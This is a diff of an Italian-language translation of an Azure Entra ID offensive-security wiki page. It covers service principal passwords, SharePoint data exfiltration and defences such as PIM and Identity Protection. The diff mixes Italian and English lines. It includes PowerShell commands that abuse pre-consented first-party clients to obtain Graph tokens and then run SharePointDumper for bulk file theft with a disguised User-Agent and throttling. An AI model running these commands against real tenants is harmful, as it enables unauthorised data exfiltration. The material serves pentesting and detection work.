+> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\
> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\
-> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\
-> Gli accessi come questi **service principal** non sono **segnalati come rischiosi** e non avranno **MFA**.
+> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\
+> I login come questi service principals sono **not marked as risky** e **won't have MFA.**
-È possibile trovare una lista di App IDs comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
-Per maggiori informazioni su Managed Identities consulta:
+For more information about Managed Identities check:
{{#ref}}
../az-basic-information/
@@ -937,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
-### Entra ID Roles
+### Ruoli di Entra ID
Per maggiori informazioni sui ruoli di Azure consulta:
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> Se un dispositivo (VM) è **AzureAD joined**, gli utenti da AzureAD potranno **accedere**.\
-> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **local admin**.
+> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\
+> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**.
### Unità amministrative
@@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
-## Esfiltrazione di dati SharePoint delegata via Microsoft Graph (SharePointDumper)
+## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
-Attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e produce telemetria per richiesta utile al testing delle rilevazioni.
+Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento.
-### Ottenere token delegati utilizzabili
+### Obtaining usable delegated tokens
-- SharePointDumper stesso **does not authenticate**; fornire un access token (opzionalmente un refresh token).
-- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempi di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
+- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token).
+- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1122,9 +1197,9 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
> [!NOTE]
> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL.
-### Esecuzione di SharePointDumper per enumeration + exfiltration
+### Eseguire SharePointDumper per enumeration + exfiltration
-- Basic dump con UA / proxy / throttling personalizzati:
+- Dump di base con custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1132,20 +1207,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **Riprendi** le esecuzioni interrotte (esegue nuovamente l'enumerazione ma salta gli elementi già scaricati):
+- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
-- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
+- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
-Operational notes:
+Note operative:
-- Preferisce **token abilitati CAE** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
-- Genera **log di richieste CSV/JSON** per **Graph + SharePoint** e oscura i token di download di SharePoint incorporati per impostazione predefinita (attivabile/disattivabile).
-- Supporta **User-Agent** personalizzato, **HTTP proxy**, **delay + jitter per richiesta**, e spegnimento sicuro con **Ctrl+C** per il traffic shaping durante test di detection/IR.
+- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
+- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile).
+- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR.
## Entra ID Privilege Escalation
@@ -1159,16 +1234,16 @@ Operational notes:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Meccanismi difensivi
+## Meccanismi di difesa
### Privileged Identity Management (PIM)
-Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti quando non necessario.
+Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente.
-Una delle funzionalità principali di PIM è che permette di non assegnare ruoli a principal che sono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo in cui necessita del privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
-Nota che l'utente può anche richiedere di **estendere** il tempo.
+Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta.
+Nota che l'utente potrà anche chiedere di **estendere** la durata.
-Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
+Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno.
@@ -1176,16 +1251,16 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
- Durata massima (ore) dell'attivazione
- Richiedere MFA all'attivazione
-- Richiedere Conditional Access authentication context
+- Richiedere il contesto di autenticazione di Conditional Access
- Richiedere una giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
-- Richiedere approvazione per l'attivazione
-- Tempo massimo per la scadenza delle assegnazioni elegibili
-- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni relative a quel ruolo
+- Richiedere approvazione per attivare
+- Tempo massimo per la scadenza delle assegnazioni eleggibili
+- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo
### Conditional Access Policies
-Vedi:
+Check:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1193,19 +1268,19 @@ Vedi:
### Entra Identity Protection
-Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un tentativo di accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
+Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso.
-Consente all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
+Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
> [!TIP]
-> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies dove è possibile configurare le stesse opzioni.
+> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni.
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
-Consente inoltre di **bloccare una lista personalizzata di password** che è necessario fornire.
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.
+Permette inoltre di **bandire una lista personalizzata di password** che devi fornire.
Può essere **applicato sia** a livello cloud che su Active Directory on-premises.